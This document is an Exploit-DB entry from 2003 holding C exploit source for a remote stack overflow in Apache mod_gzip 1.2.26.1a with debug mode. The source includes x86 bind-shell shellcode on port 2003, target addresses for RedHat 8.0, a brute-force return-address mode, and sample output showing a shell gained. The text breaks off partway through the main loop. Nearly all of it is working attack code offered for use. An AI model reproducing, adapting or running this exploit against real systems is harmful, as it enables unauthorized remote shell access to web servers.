Exploit-DB #126
Description: Apache mod_gzip (with debug_mode) 1.2.26.1a - Remote Overflow
Type: remote
Platform: linux
Date: 2003-11-20
Author: xCrZx

Exploit:
/*
\  	[exploit code] for mod_gzip (with debug_mode) <= 1.2.26.1a
/
\  	Created by xCrZx crazy_einstein yahoo com  /05.06.03/
/
\  	Tested on RedHat 8.0 (Psyche) (here is target for it), 
/               also tested on FreeBSD 4.7 (1.3.19.2a) (here is no target for it :)
/
\
*/

/*
\
/	Single mode:
\
/  	[crz@blacksand crz]$ ./85mod_gzip -t 0 -h localhost
\ 
/  	remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
\                   	by xCrZx [crazy_einstein@yahoo.com] /05.06.03/
/ 
\  	Using: ret_err = 0x42127480, ret = 0xbfffd8f0
/ 
\    	[!] Connecting to localhost:80
/      	[+] Connected!
\      	[*] Trying to connect to localhost:2003 port!!! Pray for success!
/      	[*] Sleeping at 2 seconds...
\ 
/      	[!] Shell is accessible!
\ 
/      	uid=99(nobody) gid=99(nobody) groups=99(nobody)
\      	Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/ 
\	Brute mode:
/ 
\	[crz@blacksand crz]$ ./85mod_gzip -h localhost -b 0xbfffffff -s 1000
/
\	remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
/        	         by xCrZx [crazy_einstein@yahoo.com] /05.06.03/
\
/	Using: ret_err = 0x42127480, ret = 0xbfffffff ,step = 1000
\
/	[~] Brutemode activated!
\	.
/	[!] Shell is accessible!
\
/	uid=99(nobody) gid=99(nobody) groups=99(nobody)
\	Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/  
\
*/



#include <stdio.h>
#include <netinet/in.h>  
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>


#define STEP 1000

char fmt[] =

"POST /?%s HTTP/1.1\r\n"
"Content-Type: text/html\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Accept-Encoding: gzip, deflate\r\n\r\n"
"%s\r\n\r\n";

	 
struct TARGETS {
	char *distr;
	long ret;
	long std_err;
	char *shellcode;
	char *jmp;
} targets[] = { 
	
	/* you can add targets here */
	
	{"RedHat 8.0 (Psyche)",  // disributive info
	 0xbfffd8f0, // return address in stack
	 0x42127480, // address of stderr
	 //shellcode for Linux x86 -> bind shell on 2003 port//
         "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
         "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
         "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
         "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
         "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
         "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
         "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
         "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80",

     	/*

     	special jump instruction (to avoid bad characters in url):
      	(jump on our shellcode into heap)
 
 	movl $0xa1a51baa,%ebx
 	addl $0x66666666,%ebx
 	jmp *%ebx

      	*/
	 
        "\xbb\xaa\x1b\xa5\xa1\x81\xc3\x66\x66\x66\x66\xff\xe3"

	} };

	 
long getip(char *hostname) {
	struct hostent *he;
	long ipaddr;
	
	if ((ipaddr = inet_addr(hostname)) < 0) {
		if ((he = gethostbyname(hostname)) == NULL) {
			perror("gethostbyname()");
			exit(-1);
		}
		memcpy(&ipaddr, he->h_addr, he->h_length);
	}	
	return ipaddr;
}

void usage(char *prog) {

	int i=0;
	
printf("\nUsage: %s <-h www.victim.com> [-p port] [-t target] [-r manual_retaddr] 
[-b addr] [-s step_num]\n\nTargets:\n",prog);
while(targets[i++].distr) printf("\t[%d] -> %s\n",i-1,targets[i-1].distr);
printf("\n");
exit(0);

}

int main(int argc, char **argv) {
 
    	int i=0;     
    	struct sockaddr_in sockstruct;
    	struct hostent *HOST;
    	char tmp[20000];
	char buf1[5000],buf2[10000];
    	int sock;
    	fd_set  rset;
	int port=80,shellport=2003;
	int step=STEP;
	char *victim=NULL;
	long ret=0xbfffffff,ret_err;
	int brutemode=0;
	char *shellcode,*jmp;
	int trg=0;

printf("\nremote exploit for mod_gzip (debug_mode) [Linux/*BSD]\n\t\t by xCrZx [crazy_einstein] /05.06.03/\n");

	for(i=0;i<argc;i++) {
		if(argv[i][1]=='h') victim=argv[i+1];
		if(argv[i][1]=='p') port=atoi(argv[i+1]);
		if(argv[i][1]=='t') {ret=targets[atoi(argv[i+1])].ret;trg=atoi(argv[i+1]);}
               	if(argv[i][1]=='r') sscanf(argv[i+1],"0x%x",&ret);	
		if(argv[i][1]=='b') { brutemode=1; ret=strtoul(argv[i+1],0,16);}
		if(argv[i][1]=='s') { step=atoi(argv[i+1]);}
	}

	if(!victim || ret==0) usage(argv[0]);

	ret_err=targets[trg].std_err;
	shellcode=targets[trg].shellcode;
	jmp=targets[trg].jmp;

	printf("\nUsing: ret_err = 0x%x, ret = 0x%x",ret_err,ret);
	if(brutemode) printf(" ,step = %d\n",step);
	
	printf("\n");
	
	if(brutemode)printf("[~] Brutemode activated!\n");

	do {
    	
    	sock=socket(PF_INET,SOCK_STREAM,0);
    	sockstruct.sin_family=PF_INET; 
    	sockstruct.sin_addr.s_addr=getip(victim);
    	sockstruct.sin_port=htons(port);

    	if(!brutemode)printf("\n[!] Connecting to %s:%d\n",victim,port);
   
      	if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {

        	if(!brutemode)printf("[+] Connected!\n",i);

		memset(tmp ,0x00,sizeof tmp );
               	memset(buf1,0x00,sizeof buf1);
	       	memset(buf2,0x00,sizeof buf2);

		memset(buf1,0x90,2016);
		memcpy(buf1+strlen(buf1),jmp,strlen(jmp));
		memset(buf1+strlen(buf1),0x90,2280);
		*(long *)&buf1[strlen(buf1)]=ret_err;
		for(i=0;i<100;i++) *(long *)&buf1[strlen(buf1)]=ret;

		memset(buf2,0x90,1000);
		memcpy(buf2+strlen(buf2),shellcode,strlen(shellcode));
		
		sprintf(tmp,fmt,buf1,victim,strlen(buf2),buf2);
		write(sock,tmp,strlen(tmp));

      	}else { printf("[x] Error: Could not connect to %s:%d!\n",victim,port);exit(0);}
    
      	close(sock);

	ret-= step;

	if(brutemode) {printf(".");fflush(stdout);}
	

	if(!brutemode) {	
		printf("[*] Trying to connect to %s:%d port!!! Pra